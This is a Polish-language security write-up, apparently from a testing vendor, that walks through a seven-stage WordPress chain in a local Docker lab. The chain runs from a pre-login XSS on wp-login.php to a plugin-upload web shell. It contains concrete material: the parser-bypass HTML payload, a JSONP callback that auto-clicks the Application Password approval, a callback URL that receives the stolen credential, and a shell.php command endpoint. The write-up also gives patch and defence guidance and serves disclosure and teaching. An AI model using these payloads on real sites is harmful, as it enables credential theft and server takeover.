XSS2Shell: Od zera do powłoki w WordPress

Praktyczny przewodnik po łańcuchu XSS przed uwierzytelnieniem, który może eskalować do zdalnego wykonania kodu w rdzeniu WordPress, zademonstrowany w lokalnym laboratorium Docker.

Wyłącznie autoryzowane testy.

Wszystko poniżej zostało uruchomione na lokalnym laboratorium (WordPress 7.0.2 na localhos). Nie używaj tych technik przeciwko systemom, których nie posiadasz lub na których testowanie nie masz wyraźnego pozwolenia.

Podsumowanie dla kadry kierowniczej

XSS2Shell to nie pojedynczy błąd — to siedmiostopniowy łańcuch exploitów, który zaczyna się od jednego znaku (< po którym następuje spacja) omijającego dwa różne parsery HTML na stronie logowania WordPressa i kończy się wykonaniem PHP na serwerze jako www-data.

Co czyni go niebezpiecznym:

  1. Etap 1 nie wymaga żadnego uwierzytelnienia — każdy może wywołać JavaScript na wp-login.php.
  2. Błąd tkwi w rdzeniu WordPressa — nie we wtyczce; praktycznie każda obsługiwana instalacja od 2016 roku jest podatna.
  3. Wykorzystuje własny kod WordPressa — user-profile.js, REST JSONP, Hasła Aplikacji, przesyłanie wtyczek — jako gadżety.
  4. Pełne RCE zostało zademonstrowane i potwierdzone przez WordPress — choć wymaga nakłonienia zalogowanego administratora do jednego kliknięcia.

W artykule opisano każdy etap wraz ze zrzutami ekranu z naszego lokalnego laboratorium.

Środowisko laboratoryjne

git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 na http://localhost:9080
ComponentURLCredentials
Vulnerable WordPresshttp://localhost:9080admin / admin123!
Patched comparisonhttp://localhost:9081(optional)
Attacker listenerhttp://127.0.0.1:9090started by PoC script

WordPress login page — the attack surface
WordPress login page — the attack surface

Każda witryna WordPress udostępnia /wp-login.php. Ta strona jest punktem wejścia dla całego łańcucha.

Etap 0: Różnica parsera (przyczyna źródłowa)

Gdy logowanie się nie powiedzie, WordPress wyświetla przesłaną nazwę użytkownika w komunikacie błędu. Nazwa użytkownika przechodzi przez dwa sanitizery, które różnie definiują pojęcie „tagu":

LayerFunctionSees < area as…
PHPstrip_tags()Plain text (space after < = not a tag)
WordPress KSESwp_kses_post()Valid HTML element

Payload używa spacji po<:

< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">X

Na podatnym WordPress 7.0.2 przeżywa sanitację i staje się aktywnym elementem DOM:

./scripts/demo-parser-diff.sh http://localhost:9080
Terminal output showing injected HTML elements in the response
Terminal output showing injected HTML elements in the response

Na załatanym WordPress 7.0.4 ten sam ładunek jest kodowany jako HTML w komunikacie błędu — brak aktywnych elementów.

Ten błąd istnieje od WordPress 4.7 (2016) i był pomijany przez lata audytów bezpieczeństwa.

Etap 1: XSS przed uwierzytelnieniem (bez wymaganego logowania)

Wstrzyknięte węzły DOM pasują do selektorów, których własny skrypt WordPress user-profile.js szuka na stronie logowania (ładowany podczas procedury resetowania hasła):

  1. .reset-pass-submit .wp-generate-pw jest automatycznie klikany podczas ładowania strony
  2. Kliknięcie propaguje się do delegowanego obsługiwacza #color-picker
  3. Sprawdzenie ochrony user_id === checkuser_id przechodzi, ponieważ oba są undefined
  4. jQuery wysyła POST do ajaxurl — ale ajaxurl nie istnieje na stronie logowania…

Chyba że go nadpiszemy:

<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>

Element <area id=ajaxurl> staje się window.ajaxurl. jQuery wywołuje .toString() → zwraca href. WordPress REST zwraca JSONP → jQuery globalEval() → alert()wykonuje się w kontekście origin WordPressa.

Stage 1 demo page
Stage 1 demo page

Wyślij formularz (lub otwórz demo/stage1-preauth-xss.html i kliknij Uruchom etap 1):

Login page after XSS payload — injected markup reflected in error, JS executes
Login page after XSS payload — injected markup reflected in error, JS executes

Sam ten etap stanowi poważne zagrożenie: phishing danych uwierzytelniających na prawdziwej domenie, session riding, wywołania API tego samego origin — bez jakiegokolwiek uwierzytelnienia.

Etap 2: Inżynieria społeczna — kliknięcie administratora

Etapy 2–7 wymagają, aby zalogowany administrator otworzył stronę kontrolowaną przez atakującego. To jest czynnik utrzymujący CVSS poniżej 10 — jednak jest on realistyczny w przypadku ukierunkowanych ataków.

Administrator może otrzymać: „Twoja sesja wygasła — kliknij tutaj, aby się ponownie uwierzytelnić."

Simulated phishing lure page
Simulated phishing lure page

Po kliknięciu strona atakującego:

  1. Otwiera podrzędne okno popup (about:blank)
  2. Przekierowuje okno główne na stronę autoryzacji haseł aplikacji WordPressa
  3. Zapisuje formularz XSS do potomnego okna podręcznego i automatycznie przesyła go do wp-login.php
Admin dashboard — victim is already logged in
Admin dashboard — victim is already logged in

Etap 3: Wykonanie metody tego samego źródła (SOME) — automatyczne zatwierdzenie

Ładunek XSS okna potomnego zmienia wywołanie zwrotne JSONP z alert na:

window.opener.approve.click

WordPress REST opakowuje odpowiedź:

/**/window.opener.approve.click({...})

Środowisko uruchomieniowe rozwiązuje window.opener (okno nadrzędne) → .approve (przycisk #approve) → .click(). Przycisk Zatwierdź hasło aplikacji jest klikany automatycznie — bez jakiejkolwiek interakcji użytkownika na tej stronie.

Application Password authorization page — the approve button (id=approve) is the SOME target
Application Password authorization page — the approve button (id=approve) is the SOME target

Zwróć uwagę na adres URL wywołania zwrotnego na stronie: dane uwierzytelniające zostaną wysłane do http://127.0.0.1:9090/callback?...&password=[------].

Etap 4: Przechwycenie hasła aplikacji

WordPress tworzy nowe hasło aplikacji i przekierowuje do success_url atakującego z poświadczeniami w ciągu zapytania:

http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXX

Atakujący posiada teraz dane uwierzytelniające HTTP Basic auth do WordPress REST API — uzyskane z sesji administratora, bez konieczności wpisywania czegokolwiek przez administratora po kliknięciu w początkowy link.

Etap 5: Publikacja strony kontrolowanej przez atakującego

Używając skradzionego hasła aplikacji, atakujący wysyła żądanie POST do /wp-json/wp/v2/pages i publikuje stronę z osadzonym kodem JavaScript. Administratorzy posiadają uprawnienie unfiltered_html — tagi script nie są usuwane.

Etap 6: Przesłanie wtyczki przez sesję administratora

Kod JavaScript atakującego (uruchomiony w przeglądarce administratora na opublikowanej stronie):

  1. Pobiera /wp-admin/plugin-install.php?tab=upload w celu uzyskania nonce przesyłania
  2. Wysyła żądanie POST ze złośliwym plikiem ZIP do /wp-admin/update.php?action=upload-plugin
  3. WordPress rozpakowuje go do wp-content/plugins/xss2shell/

Wtyczka nie musi być aktywowana. Pliki PHP w katalogu wtyczki są bezpośrednio dostępne przez przeglądarkę.

Etap 7: Zdalne wykonanie kodu

GET /wp-content/plugins/xss2shell/shell.php?cmd=whoami

Odpowiedź:

{ "rce": true, "user": "www-data", "output": "www-data\n" }
Shell endpoint returning command output
Shell endpoint returning command output

Atakujący może teraz wykonywać dowolne polecenia jako użytkownik serwera WWW — odczytać wp-config.php (dane uwierzytelniające do bazy danych), zrzucić bazę danych, przeprowadzić ruch lateralny.

Pełne wyjście terminala PoC:

XSS2Shell PoC completing the chain
XSS2Shell PoC completing the chain

Pełny łańcuch w skrócie

sequenceDiagram participant A as Serwer atakującego participant V as Przeglądarka ofiary participant W as WordPress 7.0.2 Note over V,W: Administrator jest zalogowany V->>A: Otwiera link phishingowy (1 kliknięcie) A->>V: HTML atakującego + podrzędny popup V->>W: Okno główne → authorize-application.php V->>W: Podrzędne wysyła payload XSS do wp-login.php W->>V: JSONP wykonuje window.opener.approve.click Note over V,W: Przycisk Zatwierdź kliknięty automatycznie W->>A: Przekierowanie z hasłem aplikacji A->>W: REST API publikuje stronę (Basic auth) V->>W: Administrator odwiedza stronę → przesyła ZIP wtyczki V->>W: GET shell.php?cmd=whoami W-->>A: www-data

Jak naprawdę niebezpieczny jest ten atak?

Co jest pewne (wysoka pewność)

PropertyValue
Authentication for XSSNone
Affected installsAll WordPress 4.7+ before patch
Default-config exploitabilityStage 1 works out of the box
User interaction for XSSVictim visits attacker URL

Co wymaga dodatkowych warunków (ścieżka RCE)

ConditionNotes
Logged-in administratorMust have active WP session
Social engineeringAdmin must click attacker link
Application Passwords enabledDefault since WP 5.6; needs HTTPS or local env
Popup not blockedBrowser must allow window.open from user gesture

Kalibracja powagi

MetricValueInterpretation
CVSS 4.08.9 HighFull chain impact scored; not Critical because of UI:A
CVSS 3.16.1 MediumOlder scoring undervalues chained impact
EPSS~0.77%Low predicted mass exploitation (Aug 2026)
CISA KEVNot listedNo confirmed in-the-wild mass exploitation yet
Public PoCsMultiple on GitHubExploitation window may shrink

Podsumowanie: To nie jest podatność klasy wormable zero-click RCE jak Log4Shell. Jest to głęboko techniczna, podatność na poziomie rdzenia systemu, dotykająca ~43% stron internetowych, w której:

  • Sam etap 1 stanowi poważny, pre-auth XSS na stronie logowania
  • Cały łańcuch zamienia jedno kliknięcie administratora w przejęcie serwera
  • Przyczyna źródłowa (różnica w parsowaniu) dotyczy każdej bazy kodu używającej wielu parserów HTML

Własny komunikat bezpieczeństwa WordPressa stwierdza, że RCE wymaga „warunków pozostających poza kontrolą atakującego" oraz „skutecznej inżynierii społecznej." To jest prawda — jednak przedstawiony łańcuch sprawia, że te warunki są osiągalne za pomocą jednego linku.

Odtwórz pełny łańcuch lokalnie

# 1. Uruchom laboratorium make up # 2. Włącz hasła aplikacji przez HTTP (tylko lab) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Uruchom listener PoC python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. W przeglądarce: # a. Zaloguj się jako admin na http://localhost:9080/wp-login.php # b. Otwórz http://127.0.0.1:9091/phishing-sim.html # c. Kliknij „Otwórz stronę atakującego" (zezwól na popupy) # d. Poczekaj na wynik w terminalu pokazujący shell + whoami

Obrona

PriorityAction
ImmediateUpdate to WordPress 7.0.3 or your branch's patched release (full list)
Verify./scripts/demo-parser-diff.sh should show no injected elements
HardenDisable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins
MonitorWatch for failed-login usernames containing < area patterns
WAFBlock < area / < div patterns on wp-login.php POST bodies

Poprawka dodaje esc_html() do nazwy użytkownika w ścieżce błędu logowania — zapewniając, że ciąg jest traktowany jako tekst, a nie ponownie parsowany jako HTML.

Dlaczego ma to znaczenie dla badań bezpieczeństwa

Każde ogniwo łańcucha jest osobno nudne:

  • Różnica parsera → niska powaga, porządkowanie
  • Załadowanie niewłaściwego skryptu na stronie logowania → niska
  • Wywołanie zwrotne JSONP zweryfikowane przez wyrażenie regularne → średnia
  • Hasło aplikacji w adresie URL przekierowania → średnia
  • Katalog wtyczek wykonuje PHP bez aktywacji → znany projekt

Złożone razem, dają CVSS 8.9 i powłokę.

Wniosek: oceniając podatności XSS, zapytaj „co jest już załadowane na tej stronie i co zrobi, gdy podam mu właściwe węzły DOM?" Dotkliwość jest właściwością łańcucha, a nie pojedynczego błędu.

Odniesienia

Wybierz region i język

Region
Język
Chcesz zobaczyć, jak działa CyberTested?
Zarezerwuj bezpłatną prezentację